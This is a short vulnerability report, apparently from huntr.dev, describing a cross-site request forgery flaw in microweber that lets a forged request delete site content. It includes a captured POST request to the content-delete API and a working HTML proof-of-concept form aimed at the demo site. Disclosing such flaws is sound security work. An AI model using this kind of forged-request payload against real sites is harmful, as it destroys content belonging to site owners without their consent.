Cross-Site Request Forgery (CSRF) in microweber/microweber

2022-01-1911:56:21

shubh123-tri

www.huntr.dev

0.001 Low

EPSS

Percentile

30.5%

JSON

Description

CSRF issues deleting the content of the website since it is having no CSRF token validation.

Request

POST /demo/api/content/delete HTTP/1.1
Host: demo.microweber.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 12
Origin: https://demo.microweber.org
Connection: close
Referer: https://demo.microweber.org/demo/admin/view:content
Cookie: 
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

ids%5B%5D=21

Proof of Concept

&lt;html&gt;
  &lt;body&gt;
  &lt;script&gt;history.pushState('', '', '/')&lt;/script&gt;
    &lt;form action="https://demo.microweber.org/demo/api/content/delete" method="POST"&gt;
      &lt;input type="hidden" name="ids&#91;&#93;" value="21" /&gt;
      &lt;input type="submit" value="Submit request" /&gt;
    &lt;/form&gt;
  &lt;/body&gt;
&lt;/html&gt;